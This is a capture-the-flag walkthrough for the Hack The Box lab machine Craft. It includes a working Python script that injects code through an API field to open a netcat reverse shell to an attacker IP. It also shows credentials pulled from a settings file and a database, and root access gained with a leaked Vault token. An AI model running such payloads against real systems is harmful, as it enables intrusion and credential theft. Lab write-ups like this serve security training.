Walk-Thru for Craft.HTB
This is a detailed walk-thru for craft.htb written by dR1PPy
Overall the host has been graded with a fair rating.
The path to user is not simple, but there are not a lot of rabbit holes to find yourself trapped in.
The path to root was fairly easy if you can catch the clue fast enough.
This was one of those rare machines where I was able to get root access with no privesc scripts.
This machine helped with understanding how to attack python based applications, and working with API’s.
Much thanks to rotarydrone for the challenge!
. * .. . * * * * @()Ooc()* o . (Q@*0CG*O() ___ |\_________/|/ _ \ | | | | | / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | \_| | | | | | |\___/ |\_|__|__|_/| \_________/
Services Scan
Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 10.10.10.110 22 tcp ssh open OpenSSH 7.4p1 Debian 10+deb9u5 protocol 2.0 10.10.10.110 443 tcp ssl/http open nginx 1.15.8 10.10.10.110 6022 tcp ssh open protocol 2.0
So looks like we are dealing with HTTPS & SSH, no UDP based services were found.
Getting User Access
After port scanning we start with a visit to the HTTPS website.
From here we see links to 2 other URL’s which we add to our /etc/hosts
api.craft.htb gogs.craft.htb
Reviewing both URL’s reveals more information on possible paths to attack.
We are presented with an API which lists its variables in a friendly how to page.
And a private code repository
We explore the Gogs repos and find repository for the API which allows us to read the source code.
After reviewing the code we find some info on how it creates auth tokens.
What DB is being used and what a few test scripts to verify things.
We also find some user credentials which was removed in a previous commit.
dinesh:4aUh0A8PbVJxgd
We try the credentials for SSH but are unsuccessful. Let’s keep looking at the code.
We also notice from the issues page a weakness was reported around a parameter that allows unsanitized input.
https://gogs.craft.htb/Craft/craft-api/issues/2
Maybe we can use this method to gain access?
Looking again at the test script in which we found our credentials, and we notice it was written to test this specific issue.
https://gogs.craft.htb/Craft/craft-api/raw/master/tests/test.py
So we download the test script and make a few minor modifications to get our attack moving.
We fight with our syntax for a bit but eventually get a shell back using the script below.
#!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) print(response.text) # create a sample brew with real ABV... should succeed. print("Attacking ABV Variable") brew_dict = {} # Payloads that have failed [ nc direct calls, wget calls, curl calls, direct /bin/bash calls ] brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 8088 >/tmp/f") & 0.15' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text)
Ok now we have reverse shell and we see we are root user!?
But we don’t find any user or root flags and some basic commands are not available (dir?)
Could this be a virtual instance or restricted shell?
We quickly validate we are in a docker image.
cat /proc/1/cgroup 10:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c 9:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c 8:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c 7:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c 6:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c 5:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c 4:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c 3:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c 2:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c 1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
A quick enumeration of the Craft-API folder and we find an interesting settings file.
/ # find * | grep craft opt/app/craft_api opt/app/craft_api/api opt/app/craft_api/api/auth opt/app/craft_api/api/auth/__pycache__ opt/app/craft_api/api/auth/__pycache__/__init__.cpython-36.pyc opt/app/craft_api/api/auth/endpoints opt/app/craft_api/api/auth/endpoints/__pycache__ opt/app/craft_api/api/auth/endpoints/__pycache__/__init__.cpython-36.pyc opt/app/craft_api/api/auth/endpoints/__pycache__/auth.cpython-36.pyc opt/app/craft_api/api/auth/endpoints/auth.py opt/app/craft_api/api/auth/endpoints/__init__.py opt/app/craft_api/api/auth/__init__.py opt/app/craft_api/api/__pycache__ opt/app/craft_api/api/__pycache__/__init__.cpython-36.pyc opt/app/craft_api/api/__pycache__/restplus.cpython-36.pyc opt/app/craft_api/api/__init__.py opt/app/craft_api/api/brew opt/app/craft_api/api/brew/__pycache__ opt/app/craft_api/api/brew/__pycache__/__init__.cpython-36.pyc opt/app/craft_api/api/brew/__pycache__/serializers.cpython-36.pyc opt/app/craft_api/api/brew/__pycache__/parsers.cpython-36.pyc opt/app/craft_api/api/brew/__pycache__/operations.cpython-36.pyc opt/app/craft_api/api/brew/parsers.py opt/app/craft_api/api/brew/endpoints opt/app/craft_api/api/brew/endpoints/__pycache__ opt/app/craft_api/api/brew/endpoints/__pycache__/__init__.cpython-36.pyc opt/app/craft_api/api/brew/endpoints/__pycache__/brew.cpython-36.pyc opt/app/craft_api/api/brew/endpoints/__init__.py opt/app/craft_api/api/brew/endpoints/brew.py opt/app/craft_api/api/brew/__init__.py opt/app/craft_api/api/brew/serializers.py opt/app/craft_api/api/brew/operations.py opt/app/craft_api/api/restplus.py opt/app/craft_api/__pycache__ opt/app/craft_api/__pycache__/__init__.cpython-36.pyc opt/app/craft_api/__pycache__/settings.cpython-36.pyc opt/app/craft_api/database opt/app/craft_api/database/__pycache__ opt/app/craft_api/database/__pycache__/__init__.cpython-36.pyc opt/app/craft_api/database/__pycache__/models.cpython-36.pyc opt/app/craft_api/database/__init__.py opt/app/craft_api/database/models.py opt/app/craft_api/__init__.py opt/app/craft_api/settings.py
And as suspected this file contains valuable data in the form of another set of credentials along with the CRAFT_API_SECRET.
# cat /opt/app/craft_api/settings.py # Flask settings FLASK_SERVER_NAME = 'api.craft.htb' FLASK_DEBUG = False # Do not use debug mode in production # Flask-Restplus settings RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list' RESTPLUS_VALIDATE = True RESTPLUS_MASK_SWAGGER = False RESTPLUS_ERROR_404_HELP = False CRAFT_API_SECRET = 'hz66OCkDtv8G6D' # database MYSQL_DATABASE_USER = 'craft' MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O' MYSQL_DATABASE_DB = 'craft' MYSQL_DATABASE_HOST = 'db' SQLALCHEMY_TRACK_MODIFICATIONS = False
Now we can use the dbtest.py script found in the Gogs repo to make use of our new credentials.
We see the cursor is set to select one row which really limits our scope, so we change that to select all rows.
Since nano is not available and vi is useless on this host we also modify the script to take command line variables for our SQL statements.
#!/usr/bin/env python import pymysql # test connection to mysql database connection = pymysql.connect(host="db", user="craft", password="qLGockJ6G2J75O", db="craft", cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = sys.args[1] cursor.execute(sql) result = cursor.fetchall() print(result) finally: connection.close()
A quick test verifies it is working as expected.
/tmp # python ./dbtest.py "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1" [{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}]
After some DB enumeration we find the info we are looking for with the following statement.
/tmp # python ./dbtest.py "SELECT * from craft.user" [{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
Now we have 3 sets of credentials for the API & possibly gogs
dinesh:4aUh0A8PbVJxgd
ebachman:llJ77D8QFkLPQB
gilfoyle:ZEU3N8WNM2rh4T
We try the credentials for gilfoyle in Gogs and we find another code repo.
This one seems to have some SSH keys stored in the .ssh directory.
https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh
We use the SSH key and the password to get SSH access to the host as gilfoyle.
From here we find our user flag.
Getting Root Access
Even before we start to enumerate the host something stands out.
A hidden token file is found the users home folder
ls -lha total 36K drwx------ 4 gilfoyle gilfoyle 4.0K Feb 9 2019 . drwxr-xr-x 3 root root 4.0K Feb 9 2019 .. -rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc drwx------ 3 gilfoyle gilfoyle 4.0K Feb 9 2019 .config -rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile drwx------ 2 gilfoyle gilfoyle 4.0K Feb 9 2019 .ssh -r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt -rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token -rw------- 1 gilfoyle gilfoyle 2.5K Feb 9 2019 .viminfo gilfoyle@craft:~$ cat .vault-token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
A quick google search for the file name returns information on one time token system.
We confirm this token file is valid.
gilfoyle@craft:~$ vault token lookup f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 Key Value --- ----- accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103 creation_time 1549678834 creation_ttl 0s display_name root entity_id n/a expire_time explicit_max_ttl 0s id f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 meta num_uses 0 orphan true path auth/token/root policies [root] ttl 0s
So after doing some research on how to use vault to authenticate SSH we find the following method to gain root access.
vault ssh root@localhost WARNING: No -role specified. Use -role to tell Vault which ssh role to use for authentication. In the future, you will need to tell Vault which role to use. For now, Vault will attempt to guess based on the API response. This will be removed in the Vault 1.1. Vault SSH: Role: "root_otp" WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication mode to use. In the future, you will need to tell Vault which mode to use. For now, Vault will attempt to guess based on the API response. This guess involves creating a temporary credential, reading its type, and then revoking it. To reduce the number of API calls and surface area, specify -mode directly. This will be removed in Vault 1.1. Vault could not locate "sshpass". The OTP code for the session is displayed below. Enter this code in the SSH password prompt. If you install sshpass, Vault can automatically perform this step for you. OTP for the session is: 8a4176e6-63a8-819e-b21d-7d725e9755f8 . * .. . * * * * @()Ooc()* o . (Q@*0CG*O() ___ |\_________/|/ _ \ | | | | | / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | \_| | | | | | |\___/ |\_|__|__|_/| \_________/ Password: Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Aug 27 04:53:14 2019 root@craft:~# cat root.txt XXXXXXXXXXXXXXXXXXXXXXXX root@craft:~#
And now that root is owned I have a strange urge to drink some craft beers!
Hope you enjoyed the write up!
Learning Resources Used for Reference in this Attack
Reference for the Python injection attack used to gain initial foothold.
https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html
Reference used to get proper syntax for our initial foothold.
https://gist.githubusercontent.com/compermisos/db8914f5ad1fab6107bb56e7afc5a3c5/raw/55013125f1cd8e78459e6d5d19e16021d3b0a6df/simpleSocket.sh
Reference for identifying docker instances.
Reference for the changes to the dbtest.py script.
https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-fetchall.html
Reference for Vault commands used.
https://www.vaultproject.io/docs/commands/token/lookup.html
https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html
If you enjoyed the challenge give some respect to the creator rotarydrone
https://www.hackthebox.eu/home/users/profile/3067
Not a Reference but Just a Super Cool Tool to Use with HTB Labs
https://github.com/zachhanson94/htbcli